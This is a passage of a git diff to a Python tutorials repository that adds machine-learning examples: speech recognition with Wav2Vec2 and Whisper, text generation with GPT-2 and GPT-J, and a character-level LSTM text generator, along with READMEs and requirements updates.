+ "grid_column": null,
+ "grid_gap": null,
+ "grid_row": null,
+ "grid_template_areas": null,
+ "grid_template_columns": null,
+ "grid_template_rows": null,
+ "height": null,
+ "justify_content": null,
+ "justify_items": null,
+ "left": null,
+ "margin": null,
+ "max_height": null,
+ "max_width": null,
+ "min_height": null,
+ "min_width": null,
+ "object_fit": null,
+ "object_position": null,
+ "order": null,
+ "overflow": null,
+ "overflow_x": null,
+ "overflow_y": null,
+ "padding": null,
+ "right": null,
+ "top": null,
+ "visibility": null,
+ "width": null
+ }
+ },
+ "8035a1813fce41cfad51849aea43a446": {
+ "model_module": "@jupyter-widgets/controls",
+ "model_module_version": "1.5.0",
+ "model_name": "ButtonStyleModel",
+ "state": {
+ "_model_module": "@jupyter-widgets/controls",
+ "_model_module_version": "1.5.0",
+ "_model_name": "ButtonStyleModel",
+ "_view_count": null,
+ "_view_module": "@jupyter-widgets/base",
+ "_view_module_version": "1.2.0",
+ "_view_name": "StyleView",
+ "button_color": null,
+ "font_weight": ""
+ }
+ }
+ }
+ }
+ },
+ "nbformat": 4,
+ "nbformat_minor": 0
+}
diff --git a/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.py b/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.py
new file mode 100644
index 00000000..8cd7f7ba
--- /dev/null
+++ b/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.py
@@ -0,0 +1,235 @@
+# %%
+!pip install transformers==4.28.1 soundfile sentencepiece torchaudio pydub
+
+# %%
+from transformers import *
+import torch
+import soundfile as sf
+# import librosa
+import os
+import torchaudio
+
+device = "cuda:0" if torch.cuda.is_available() else "cpu"
+
+# %% [markdown]
+# # Wav2Vec2.0 Models
+#
+
+# %%
+# wav2vec2_model_name = "facebook/wav2vec2-base-960h" # 360MB
+wav2vec2_model_name = "facebook/wav2vec2-large-960h-lv60-self" # pretrained 1.26GB
+# wav2vec2_model_name = "jonatasgrosman/wav2vec2-large-xlsr-53-english" # English-only, 1.26GB
+# wav2vec2_model_name = "jonatasgrosman/wav2vec2-large-xlsr-53-arabic" # Arabic-only, 1.26GB
+# wav2vec2_model_name = "jonatasgrosman/wav2vec2-large-xlsr-53-spanish" # Spanish-only, 1.26GB
+
+wav2vec2_processor = Wav2Vec2Processor.from_pretrained(wav2vec2_model_name)
+wav2vec2_model = Wav2Vec2ForCTC.from_pretrained(wav2vec2_model_name).to(device)
+
+# %%
+# audio_url = "http://www.fit.vutbr.cz/~motlicek/sympatex/f2bjrop1.0.wav"
+# audio_url = "http://www.fit.vutbr.cz/~motlicek/sympatex/f2bjrop1.1.wav"
+# audio_url = "http://www.fit.vutbr.cz/~motlicek/sympatex/f2btrop6.0.wav"
+# audio_url = "https://github.com/x4nth055/pythoncode-tutorials/raw/master/machine-learning/speech-recognition/16-122828-0002.wav"
+audio_url = "https://github.com/x4nth055/pythoncode-tutorials/raw/master/machine-learning/speech-recognition/30-4447-0004.wav"
+# audio_url = "https://www.voiptroubleshooter.com/open_speech/american/OSR_us_000_0060_8k.wav"
+# audio_url = "https://github.com/x4nth055/pythoncode-tutorials/raw/master/machine-learning/speech-recognition/7601-291468-0006.wav"
+# audio_url = "http://www0.cs.ucl.ac.uk/teaching/GZ05/samples/lathe.wav"
+
+# %%
+# load our wav file
+speech, sr = torchaudio.load(audio_url)
+speech = speech.squeeze()
+# or using librosa
+# speech, sr = librosa.load(audio_file, sr=16000)
+sr, speech.shape
+
+# %%
+# resample from whatever the audio sampling rate to 16000
+resampler = torchaudio.transforms.Resample(sr, 16000)
+speech = resampler(speech)
+speech.shape
+
+# %%
+# tokenize our wav
+input_values = wav2vec2_processor(speech, return_tensors="pt", sampling_rate=16000)["input_values"].to(device)
+input_values.shape
+
+# %%
+# perform inference
+logits = wav2vec2_model(input_values)["logits"]
+logits.shape
+
+# %%
+# use argmax to get the predicted IDs
+predicted_ids = torch.argmax(logits, dim=-1)
+predicted_ids.shape
+
+# %%
+# decode the IDs to text
+transcription = wav2vec2_processor.decode(predicted_ids[0])
+transcription.lower()
+
+# %%
+def load_audio(audio_path):
+ """Load the audio file & convert to 16,000 sampling rate"""
+ # load our wav file
+ speech, sr = torchaudio.load(audio_path)
+ resampler = torchaudio.transforms.Resample(sr, 16000)
+ speech = resampler(speech)
+ return speech.squeeze()
+
+# %%
+def get_transcription_wav2vec2(audio_path, model, processor):
+ speech = load_audio(audio_path)
+ input_features = processor(speech, return_tensors="pt", sampling_rate=16000)["input_values"].to(device)
+ # perform inference
+ logits = model(input_features)["logits"]
+ # use argmax to get the predicted IDs
+ predicted_ids = torch.argmax(logits, dim=-1)
+ transcription = processor.batch_decode(predicted_ids)[0]
+ return transcription.lower()
+
+# %%
+get_transcription_wav2vec2("http://www0.cs.ucl.ac.uk/teaching/GZ05/samples/lathe.wav",
+ wav2vec2_model,
+ wav2vec2_processor)
+
+# %% [markdown]
+# # Whisper Models
+
+# %%
+# whisper_model_name = "openai/whisper-tiny.en" # English-only, ~ 151 MB
+# whisper_model_name = "openai/whisper-base.en" # English-only, ~ 290 MB
+# whisper_model_name = "openai/whisper-small.en" # English-only, ~ 967 MB
+# whisper_model_name = "openai/whisper-medium.en" # English-only, ~ 3.06 GB
+# whisper_model_name = "openai/whisper-tiny" # multilingual, ~ 151 MB
+# whisper_model_name = "openai/whisper-base" # multilingual, ~ 290 MB
+# whisper_model_name = "openai/whisper-small" # multilingual, ~ 967 MB
+whisper_model_name = "openai/whisper-medium" # multilingual, ~ 3.06 GB
+# whisper_model_name = "openai/whisper-large-v2" # multilingual, ~ 6.17 GB
+
+whisper_processor = WhisperProcessor.from_pretrained(whisper_model_name)
+whisper_model = WhisperForConditionalGeneration.from_pretrained(whisper_model_name).to(device)
+
+# %%
+input_features = whisper_processor(load_audio(audio_url), sampling_rate=16000, return_tensors="pt").input_features.to(device)
+
+# %%
+forced_decoder_ids = whisper_processor.get_decoder_prompt_ids(language="english", task="transcribe")
+
+# %%
+forced_decoder_ids
+
+# %%
+input_features.shape
+
+# %%
+predicted_ids = whisper_model.generate(input_features, forced_decoder_ids=forced_decoder_ids)
+predicted_ids.shape
+
+# %%
+transcription = whisper_processor.batch_decode(predicted_ids, skip_special_tokens=True)
+transcription
+
+# %%
+transcription = whisper_processor.batch_decode(predicted_ids, skip_special_tokens=False)
+transcription
+
+# %%
+def get_transcription_whisper(audio_path, model, processor, language="english", skip_special_tokens=True):
+ # resample from whatever the audio sampling rate to 16000
+ speech = load_audio(audio_path)
+ input_features = processor(speech, return_tensors="pt", sampling_rate=16000).input_features
+ forced_decoder_ids = processor.get_decoder_prompt_ids(language=language, task="transcribe")
+ # print(forced_decoder_ids)
+ predicted_ids = model.generate(input_features, forced_decoder_ids=forced_decoder_ids)
+ transcription = processor.batch_decode(predicted_ids, skip_special_tokens=skip_special_tokens)[0]
+ return transcription
+
+# %%
+arabic_transcription = get_transcription_whisper("https://datasets-server.huggingface.co/assets/arabic_speech_corpus/--/clean/train/0/audio/audio.wav",
+ whisper_model,
+ whisper_processor,
+ language="arabic",
+ skip_special_tokens=True)
+arabic_transcription
+
+# %%
+spanish_transcription = get_transcription_whisper("https://www.lightbulblanguages.co.uk/resources/sp-audio/cual-es-la-fecha-cumple.mp3",
+ whisper_model,
+ whisper_processor,
+ language="spanish",
+ skip_special_tokens=True)
+spanish_transcription
+
+# %%
+from transformers.models.whisper.tokenization_whisper import TO_LANGUAGE_CODE
+# supported languages
+TO_LANGUAGE_CODE
+
+# %% [markdown]
+# # Transcribe your Voice
+
+# %%
+!git clone -q --depth 1 https://github.com/snakers4/silero-models
+
+%cd silero-models
+
+# %%
+from IPython.display import Audio, display, clear_output
+from colab_utils import record_audio
+import ipywidgets as widgets
+from scipy.io import wavfile
+import numpy as np
+
+
+record_seconds = 20#@param {type:"number", min:1, max:10, step:1}
+sample_rate = 16000
+
+def _record_audio(b):
+ clear_output()
+ audio = record_audio(record_seconds)
+ display(Audio(audio, rate=sample_rate, autoplay=True))
+ wavfile.write('recorded.wav', sample_rate, (32767*audio).numpy().astype(np.int16))
+
+button = widgets.Button(description="Record Speech")
+button.on_click(_record_audio)
+display(button)
+
+# %%
+print("Whisper:", get_transcription_whisper("recorded.wav", whisper_model, whisper_processor))
+print("Wav2vec2:", get_transcription_wav2vec2("recorded.wav", wav2vec2_model, wav2vec2_processor))
+
+# %% [markdown]
+# # Transcribing Long Audio Samples
+
+# %%
+def get_long_transcription_whisper(audio_path, pipe, return_timestamps=True,
+ chunk_length_s=10, stride_length_s=2):
+ """Get the transcription of a long audio file using the Whisper model"""
+ return pipe(load_audio(audio_path).numpy(), return_timestamps=return_timestamps,
+ chunk_length_s=chunk_length_s, stride_length_s=stride_length_s)
+
+# %%
+# initialize the pipeline
+pipe = pipeline("automatic-speech-recognition",
+ model=whisper_model_name, device=device)
+
+# %%
+# get the transcription of a sample long audio file
+output = get_long_transcription_whisper(
+ "https://www.voiptroubleshooter.com/open_speech/american/OSR_us_000_0060_8k.wav",
+ pipe, chunk_length_s=10, stride_length_s=1)
+
+# %%
+output["text"]
+
+# %%
+for chunk in output["chunks"]:
+ # print the timestamp and the text
+ print(chunk["timestamp"], ":", chunk["text"])
+
+# %%
+
+
+
diff --git a/machine-learning/nlp/speech-recognition-transformers/README.md b/machine-learning/nlp/speech-recognition-transformers/README.md
new file mode 100644
index 00000000..37c9ac98
--- /dev/null
+++ b/machine-learning/nlp/speech-recognition-transformers/README.md
@@ -0,0 +1,5 @@
+# [Speech Recognition using Transformers in Python](https://www.thepythoncode.com/article/speech-recognition-using-huggingface-transformers-in-python)
+To get it running:
+- `pip3 install -r requirements.txt`
+
+Check the [the tutorial](https://www.thepythoncode.com/article/speech-recognition-using-huggingface-transformers-in-python) and the [Colab notebook](https://colab.research.google.com/drive/1NwX-czUflXUEMoZNfoKgCQTsjcMKSUul) for more information.
\ No newline at end of file
diff --git a/machine-learning/nlp/speech-recognition-transformers/requirements.txt b/machine-learning/nlp/speech-recognition-transformers/requirements.txt
new file mode 100644
index 00000000..ab309e08
--- /dev/null
+++ b/machine-learning/nlp/speech-recognition-transformers/requirements.txt
@@ -0,0 +1,5 @@
+transformers==4.28.1
+soundfile
+sentencepiece
+torchaudio
+pyaudio
\ No newline at end of file
diff --git a/machine-learning/nlp/text-classification/requirements.txt b/machine-learning/nlp/text-classification/requirements.txt
index 9758d9e0..30cfbe09 100644
--- a/machine-learning/nlp/text-classification/requirements.txt
+++ b/machine-learning/nlp/text-classification/requirements.txt
@@ -1,4 +1,4 @@
tqdm
numpy
-tensorflow==2.0.0
+tensorflow==2.5.3
sklearn
diff --git a/machine-learning/nlp/text-generation-transformers/README.md b/machine-learning/nlp/text-generation-transformers/README.md
new file mode 100644
index 00000000..5bf2a5ef
--- /dev/null
+++ b/machine-learning/nlp/text-generation-transformers/README.md
@@ -0,0 +1 @@
+# [Text Generation with Transformers in Python](https://www.thepythoncode.com/article/text-generation-with-transformers-in-python)
\ No newline at end of file
diff --git a/machine-learning/nlp/text-generation-transformers/TextGeneration_Transformers_PythonCodeTutorial.ipynb b/machine-learning/nlp/text-generation-transformers/TextGeneration_Transformers_PythonCodeTutorial.ipynb
new file mode 100644
index 00000000..c5cf4b0c
--- /dev/null
+++ b/machine-learning/nlp/text-generation-transformers/TextGeneration_Transformers_PythonCodeTutorial.ipynb
@@ -0,0 +1,214 @@
+{
+ "nbformat": 4,
+ "nbformat_minor": 0,
+ "metadata": {
+ "colab": {
+ "name": "TextGeneration-Transformers-PythonCodeTutorial.ipynb",
+ "private_outputs": true,
+ "provenance": [],
+ "collapsed_sections": [],
+ "machine_shape": "hm"
+ },
+ "kernelspec": {
+ "name": "python3",
+ "display_name": "Python 3"
+ },
+ "language_info": {
+ "name": "python"
+ }
+ },
+ "cells": [
+ {
+ "cell_type": "code",
+ "metadata": {
+ "id": "6bjli5Z7ZEVh"
+ },
+ "source": [
+ "!pip install transformers"
+ ],
+ "execution_count": null,
+ "outputs": []
+ },
+ {
+ "cell_type": "code",
+ "metadata": {
+ "id": "SPADZcRSY-3Y"
+ },
+ "source": [
+ "from transformers import pipeline"
+ ],
+ "execution_count": null,
+ "outputs": []
+ },
+ {
+ "cell_type": "code",
+ "metadata": {
+ "id": "k0zHPjIkqcEx"
+ },
+ "source": [
+ "# download & load GPT-2 model\n",
+ "gpt2_generator = pipeline('text-generation', model='gpt2')"
+ ],
+ "execution_count": null,
+ "outputs": []
+ },
+ {
+ "cell_type": "code",
+ "metadata": {
+ "id": "me1PAIvlqwKf"
+ },
+ "source": [
+ "# generate 3 different sentences\n",
+ "# results are sampled from the top 50 candidates\n",
+ "sentences = gpt2_generator(\"To be honest, neural networks\", do_sample=True, top_k=50, temperature=0.6, max_length=128, num_return_sequences=3)\n",
+ "for sentence in sentences:\n",
+ " print(sentence[\"generated_text\"])\n",
+ " print(\"=\"*50)"
+ ],
+ "execution_count": null,
+ "outputs": []
+ },
+ {
+ "cell_type": "code",
+ "metadata": {
+ "id": "aXI92oauZCD4"
+ },
+ "source": [
+ "# download & load GPT-J model! It's 22.5GB in size\n",
+ "gpt_j_generator = pipeline('text-generation', model='EleutherAI/gpt-j-6B')"
+ ],
+ "execution_count": null,
+ "outputs": []
+ },
+ {
+ "cell_type": "code",
+ "metadata": {
+ "id": "EaOAqXnXtOI0"
+ },
+ "source": [
+ "# generate sentences with TOP-K sampling\n",
+ "sentences = gpt_j_generator(\"To be honest, robots will\", do_sample=True, top_k=50, temperature=0.6, max_length=128, num_return_sequences=3)\n",
+ "for sentence in sentences:\n",
+ " print(sentence[\"generated_text\"])\n",
+ " print(\"=\"*50)"
+ ],
+ "execution_count": null,
+ "outputs": []
+ },
+ {
+ "cell_type": "code",
+ "metadata": {
+ "id": "6N5qFdcFZG1v"
+ },
+ "source": [
+ "# generate Python Code!\n",
+ "print(gpt_j_generator(\n",
+ "\"\"\"\n",
+ "import os\n",
+ "# make a list of all african countries\n",
+ "\"\"\",\n",
+ " do_sample=True, top_k=10, temperature=0.05, max_length=256)[0][\"generated_text\"])"
+ ],
+ "execution_count": null,
+ "outputs": []
+ },
+ {
+ "cell_type": "code",
+ "metadata": {
+ "id": "-TOTvHiwwbK-"
+ },
+ "source": [
+ "print(gpt_j_generator(\n",
+ "\"\"\"\n",
+ "import cv2\n",
+ "\n",
+ "image = \"image.png\"\n",
+ "\n",
+ "# load the image and flip it\n",
+ "\"\"\",\n",
+ " do_sample=True, top_k=10, temperature=0.05, max_length=256)[0][\"generated_text\"])"
+ ],
+ "execution_count": null,
+ "outputs": []
+ },
+ {
+ "cell_type": "code",
+ "metadata": {
+ "id": "_52OftmglAAv"
+ },
+ "source": [
+ "# complete bash script!\n",
+ "print(gpt_j_generator(\n",
+ "\"\"\"\n",
+ "# get .py files in /opt directory\n",
+ "ls *.py /opt\n",
+ "# get public ip address\n",
+ "\"\"\", max_length=256, top_k=50, temperature=0.05, do_sample=True)[0][\"generated_text\"])"
+ ],
+ "execution_count": null,
+ "outputs": []
+ },
+ {
+ "cell_type": "code",
+ "metadata": {
+ "id": "2x527AykVquF"
+ },
+ "source": [
+ "# generating bash script!\n",
+ "print(gpt_j_generator(\n",
+ "\"\"\"\n",
+ "# update the repository\n",
+ "sudo apt-get update\n",
+ "# install and start nginx\n",
+ "\"\"\", max_length=128, top_k=50, temperature=0.1, do_sample=True)[0][\"generated_text\"])"
+ ],
+ "execution_count": null,
+ "outputs": []
+ },
+ {
+ "cell_type": "code",
+ "metadata": {
+ "id": "elK4JyyxwCPM"
+ },
+ "source": [
+ "# Java code!\n",
+ "print(gpt_j_generator(\n",
+ "\"\"\"\n",
+ "public class Test {\n",
+ "\n",
+ "public static void main(String[] args){\n",
+ " // printing the first 20 fibonacci numbers\n",
+ "\"\"\", max_length=128, top_k=50, temperature=0.1, do_sample=True)[0][\"generated_text\"])"
+ ],
+ "execution_count": null,
+ "outputs": []
+ },
+ {
+ "cell_type": "code",
+ "metadata": {
+ "id": "0US1Tv5xh-F2"
+ },
+ "source": [
+ "# LATEX!\n",
+ "print(gpt_j_generator(\n",
+ "r\"\"\"\n",
+ "% list of Asian countries\n",
+ "\\begin{enumerate}\n",
+ "\"\"\", max_length=128, top_k=15, temperature=0.1, do_sample=True)[0][\"generated_text\"])"
+ ],
+ "execution_count": null,
+ "outputs": []
+ },
+ {
+ "cell_type": "code",
+ "metadata": {
+ "id": "clkMMnsgh_YF"
+ },
+ "source": [
+ ""
+ ],
+ "execution_count": null,
+ "outputs": []
+ }
+ ]
+}
\ No newline at end of file
diff --git a/machine-learning/nlp/text-generation-transformers/requirements.txt b/machine-learning/nlp/text-generation-transformers/requirements.txt
new file mode 100644
index 00000000..747b7aa9
--- /dev/null
+++ b/machine-learning/nlp/text-generation-transformers/requirements.txt
@@ -0,0 +1 @@
+transformers
\ No newline at end of file
diff --git a/machine-learning/nlp/text-generation-transformers/textgeneration_transformers_pythoncodetutorial.py b/machine-learning/nlp/text-generation-transformers/textgeneration_transformers_pythoncodetutorial.py
new file mode 100644
index 00000000..f96a00a4
--- /dev/null
+++ b/machine-learning/nlp/text-generation-transformers/textgeneration_transformers_pythoncodetutorial.py
@@ -0,0 +1,83 @@
+# -*- coding: utf-8 -*-
+"""TextGeneration-Transformers-PythonCodeTutorial.ipynb
+
+Automatically generated by Colaboratory.
+
+Original file is located at
+ https://colab.research.google.com/drive/1OUgJ92vQeFFYatf5gwtGulhA-mFwS0Md
+"""
+
+# !pip install transformers
+
+from transformers import pipeline
+
+# download & load GPT-2 model
+gpt2_generator = pipeline('text-generation', model='gpt2')
+
+# generate 3 different sentences
+# results are sampled from the top 50 candidates
+sentences = gpt2_generator("To be honest, neural networks", do_sample=True, top_k=50, temperature=0.6, max_length=128, num_return_sequences=3)
+for sentence in sentences:
+ print(sentence["generated_text"])
+ print("="*50)
+
+# download & load GPT-J model! It's 22.5GB in size
+gpt_j_generator = pipeline('text-generation', model='EleutherAI/gpt-j-6B')
+
+# generate sentences with TOP-K sampling
+sentences = gpt_j_generator("To be honest, robots will", do_sample=True, top_k=50, temperature=0.6, max_length=128, num_return_sequences=3)
+for sentence in sentences:
+ print(sentence["generated_text"])
+ print("="*50)
+
+# generate Python Code!
+print(gpt_j_generator(
+"""
+import os
+# make a list of all african countries
+""",
+ do_sample=True, top_k=10, temperature=0.05, max_length=256)[0]["generated_text"])
+
+print(gpt_j_generator(
+"""
+import cv2
+
+image = "image.png"
+
+# load the image and flip it
+""",
+ do_sample=True, top_k=10, temperature=0.05, max_length=256)[0]["generated_text"])
+
+# complete bash script!
+print(gpt_j_generator(
+"""
+# get .py files in /opt directory
+ls *.py /opt
+# get public ip address
+""", max_length=256, top_k=50, temperature=0.05, do_sample=True)[0]["generated_text"])
+
+# generating bash script!
+print(gpt_j_generator(
+"""
+# update the repository
+sudo apt-get update
+# install and start nginx
+""", max_length=128, top_k=50, temperature=0.1, do_sample=True)[0]["generated_text"])
+
+# Java code!
+print(gpt_j_generator(
+"""
+public class Test {
+
+public static void main(String[] args){
+ // printing the first 20 fibonacci numbers
+""", max_length=128, top_k=50, temperature=0.1, do_sample=True)[0]["generated_text"])
+
+# Commented out IPython magic to ensure Python compatibility.
+# LATEX!
+print(gpt_j_generator(
+r"""
+# % list of Asian countries
+\begin{enumerate}
+""", max_length=128, top_k=15, temperature=0.1, do_sample=True)[0]["generated_text"])
+
diff --git a/machine-learning/nlp/text-generator/requirements.txt b/machine-learning/nlp/text-generator/requirements.txt
index 01078260..2292109e 100644
--- a/machine-learning/nlp/text-generator/requirements.txt
+++ b/machine-learning/nlp/text-generator/requirements.txt
@@ -1,4 +1,4 @@
numpy
-tensorflow==2.0.1
+tensorflow==2.5.3
requests
tqdm
\ No newline at end of file
diff --git a/machine-learning/nlp/text-generator/text-generator-v2.ipynb b/machine-learning/nlp/text-generator/text-generator-v2.ipynb
new file mode 100644
index 00000000..ee7da190
--- /dev/null
+++ b/machine-learning/nlp/text-generator/text-generator-v2.ipynb
@@ -0,0 +1,300 @@
+{
+ "cells": [
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [
+ "import tensorflow as tf\r\n",
+ "import numpy as np\r\n",
+ "import os\r\n",
+ "import pickle\r\n",
+ "\r\n",
+ "SEQUENCE_LENGTH = 50\r\n",
+ "EMBEDDING_DIM = 200\r\n",
+ "BATCH_SIZE = 128\r\n",
+ "FILE_PATH = \"data/python_code.py\"\r\n",
+ "BASENAME = os.path.basename(FILE_PATH) + \"-lower\"\r\n",
+ "\r\n",
+ "text = open(FILE_PATH).read()\r\n",
+ "# comment this if you want to use uppercase letters\r\n",
+ "text = text.lower()\r\n",
+ "n_chars = len(text)\r\n",
+ "vocab = ''.join(sorted(set(text)))\r\n",
+ "print(\"vocab:\", vocab)\r\n",
+ "n_unique_chars = len(vocab)\r\n",
+ "print(\"Number of characters:\", n_chars)\r\n",
+ "print(\"Number of unique characters:\", n_unique_chars)"
+ ],
+ "outputs": [],
+ "metadata": {}
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [
+ "# dictionary that converts characters to integers\r\n",
+ "char2int = {c: i for i, c in enumerate(vocab)}\r\n",
+ "# dictionary that converts integers to characters\r\n",
+ "int2char = {i: c for i, c in enumerate(vocab)}\r\n",
+ "\r\n",
+ "# save these dictionaries for later generation\r\n",
+ "pickle.dump(char2int, open(f\"{BASENAME}-char2int.pickle\", \"wb\"))\r\n",
+ "pickle.dump(int2char, open(f\"{BASENAME}-int2char.pickle\", \"wb\"))"
+ ],
+ "outputs": [],
+ "metadata": {}
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [
+ "encoded_text = np.array([char2int[c] for c in text])"
+ ],
+ "outputs": [],
+ "metadata": {}
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [
+ "char_dataset = tf.data.Dataset.from_tensor_slices(encoded_text)\r\n",
+ "for element in char_dataset.take(5):\r\n",
+ " print(element.numpy())"
+ ],
+ "outputs": [],
+ "metadata": {}
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [
+ "for element in char_dataset.batch(SEQUENCE_LENGTH+1).shuffle(1024).take(2):\r\n",
+ " print(''.join([int2char[c] for c in element.numpy()]))"
+ ],
+ "outputs": [],
+ "metadata": {}
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [
+ "#help(tf.one_hot)\r\n",
+ "#help(char_dataset.window)\r\n",
+ "windows = char_dataset.window(SEQUENCE_LENGTH+1, shift=1, drop_remainder=True)\r\n",
+ "sequences = windows.flat_map(lambda window: window.batch(SEQUENCE_LENGTH+1))\r\n",
+ "dataset = sequences.map(lambda x: (x[:-1], x[-1]))\r\n",
+ "for input_, target in dataset.take(10):\r\n",
+ " print(input_.numpy().shape)\r\n",
+ " print(target.numpy().shape)\r\n",
+ " print(''.join([int2char[c] for c in input_.numpy()]), int2char[target.numpy()])\r\n",
+ " print(\"=\"*50)"
+ ],
+ "outputs": [],
+ "metadata": {}
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [
+ "sequences2 = char_dataset.batch(2*SEQUENCE_LENGTH+1, drop_remainder=True)\r\n",
+ "\r\n",
+ "def split_sample(sample):\r\n",
+ " ds = tf.data.Dataset.from_tensors((sample[:SEQUENCE_LENGTH], sample[SEQUENCE_LENGTH]))\r\n",
+ " for i in range(1, (len(sample)-1) // 2):\r\n",
+ " input_ = sample[i:i+SEQUENCE_LENGTH]\r\n",
+ " target = sample[i+SEQUENCE_LENGTH]\r\n",
+ " other_ds = tf.data.Dataset.from_tensors((input_, target))\r\n",
+ " ds = ds.concatenate(other_ds)\r\n",
+ " return ds\r\n",
+ "\r\n",
+ "\r\n",
+ "dataset2 = sequences2.flat_map(split_sample)\r\n",
+ "for element in dataset2.take(10):\r\n",
+ " print(element[0].shape, element[1].shape)\r\n",
+ " print(''.join([int2char[c] for c in element[0].numpy()]), int2char[element[1].numpy()])"
+ ],
+ "outputs": [],
+ "metadata": {
+ "tags": [
+ "outputPrepend",
+ "outputPrepend",
+ "outputPrepend",
+ "outputPrepend"
+ ]
+ }
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [
+ "for element1, element2 in zip(dataset.take(5), dataset2.take(5)):\r\n",
+ " print(element1[0].numpy() == element2[0].numpy())\r\n",
+ " "
+ ],
+ "outputs": [],
+ "metadata": {}
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [
+ "def one_hot_samples(input_, target):\r\n",
+ " return tf.one_hot(input_, len(vocab)), tf.one_hot(target, len(vocab))\r\n",
+ "# return input_, tf.one_hot(target, len(vocab))\r\n",
+ "\r\n",
+ "dataset = dataset.map(one_hot_samples)\r\n",
+ "dataset2 = dataset2.map(one_hot_samples)\r\n",
+ "for element in dataset.take(10):\r\n",
+ " print(element[0].shape, element[1].shape)"
+ ],
+ "outputs": [],
+ "metadata": {}
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [
+ "ds = dataset.shuffle(1024).batch(BATCH_SIZE, drop_remainder=True).cache().prefetch(1).repeat()\r\n",
+ "ds2 = dataset2.shuffle(1024).batch(BATCH_SIZE, drop_remainder=True).cache().prefetch(1).repeat()"
+ ],
+ "outputs": [],
+ "metadata": {}
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [
+ "def create_model(vocab_size, embedding_dim, rnn_units, batch_size):\r\n",
+ " model = tf.keras.Sequential()\r\n",
+ " # model.add(tf.keras.layers.Embedding(vocab_size, embedding_dim, input_shape=(SEQUENCE_LENGTH,)))\r\n",
+ " model.add(tf.keras.layers.LSTM(rnn_units, input_shape=(SEQUENCE_LENGTH, len(vocab)), return_sequences=True))\r\n",
+ " model.add(tf.keras.layers.Dropout(0.3))\r\n",
+ " model.add(tf.keras.layers.LSTM(rnn_units)),\r\n",
+ " model.add(tf.keras.layers.Dropout(0.3))\r\n",
+ " model.add(tf.keras.layers.Dense(vocab_size, activation=\"softmax\"))\r\n",
+ " return model"
+ ],
+ "outputs": [],
+ "metadata": {}
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [
+ "model = create_model(len(vocab), embedding_dim=EMBEDDING_DIM, rnn_units=128, batch_size=BATCH_SIZE)\r\n",
+ "model.summary()\r\n",
+ "model.compile(optimizer=\"adam\", loss=\"categorical_crossentropy\", metrics=[\"accuracy\"])"
+ ],
+ "outputs": [],
+ "metadata": {}
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [
+ "EPOCHS = 5\r\n",
+ "history = model.fit(ds2, steps_per_epoch=(len(encoded_text) - SEQUENCE_LENGTH ) // BATCH_SIZE, epochs=EPOCHS)"
+ ],
+ "outputs": [],
+ "metadata": {}
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [
+ "# save the model\r\n",
+ "model_path = f\"results/{BASENAME}-{SEQUENCE_LENGTH}-NOEMBEDDING-moredata.h5\"\r\n",
+ "model.save(model_path)\r\n",
+ "# model.load_weights(model_path)"
+ ],
+ "outputs": [],
+ "metadata": {}
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [
+ "seed = \"\"\"You can be a\"\"\".lower()\r\n",
+ "s = seed\r\n",
+ "# generate 400 characters\r\n",
+ "generated = \"\"\r\n",
+ "for i in range(200):\r\n",
+ " # make the input sequence\r\n",
+ " X = np.zeros((1, SEQUENCE_LENGTH, len(vocab)))\r\n",
+ " # X = np.zeros((1, SEQUENCE_LENGTH))\r\n",
+ " for t, char in enumerate(seed):\r\n",
+ " X[0, (SEQUENCE_LENGTH - len(seed)) + t, char2int[char]] = 1\r\n",
+ " # predict the next character\r\n",
+ " predicted = model.predict(X, verbose=0)[0]\r\n",
+ " # print(predicted)\r\n",
+ " # converting the vector to an integer\r\n",
+ " next_index = np.argmax(predicted)\r\n",
+ "# next_index = np.squeeze(np.round(predicted))\r\n",
+ " # converting the integer to a character\r\n",
+ "# print(next_index)\r\n",
+ " next_char = int2char[next_index]\r\n",
+ " # add the character to results\r\n",
+ " generated += next_char\r\n",
+ " # shift seed and the predicted character\r\n",
+ " seed = seed[1:] + next_char\r\n",
+ "\r\n",
+ "print(\"Generated text:\")\r\n",
+ "print(s + generated)"
+ ],
+ "outputs": [],
+ "metadata": {}
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [
+ "char2int\r\n"
+ ],
+ "outputs": [],
+ "metadata": {}
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [],
+ "outputs": [],
+ "metadata": {}
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "source": [],
+ "outputs": [],
+ "metadata": {}
+ }
+ ],
+ "metadata": {
+ "file_extension": ".py",
+ "kernelspec": {
+ "name": "python3",
+ "display_name": "Python 3.8.7 64-bit"
+ },
+ "language_info": {
+ "codemirror_mode": {
+ "name": "ipython",
+ "version": 3
+ },
+ "file_extension": ".py",
+ "mimetype": "text/x-python",
+ "name": "python",
+ "nbconvert_exporter": "python",
+ "pygments_lexer": "ipython3",
+ "version": "3.8.7"
+ },
+ "mimetype": "text/x-python",
+ "name": "python",
+ "npconvert_exporter": "python",
+ "pygments_lexer": "ipython3",
+ "version": 3,
+ "interpreter": {
+ "hash": "777490da48e046e3b512f0b24bf037db286a787493a11bf82a9e0f2cbf21bb67"
+ }
+ },
+ "nbformat": 4,
+ "nbformat_minor": 4
+}
\ No newline at end of file
diff --git a/machine-learning/nlp/text-generator/train.py b/machine-learning/nlp/text-generator/train.py
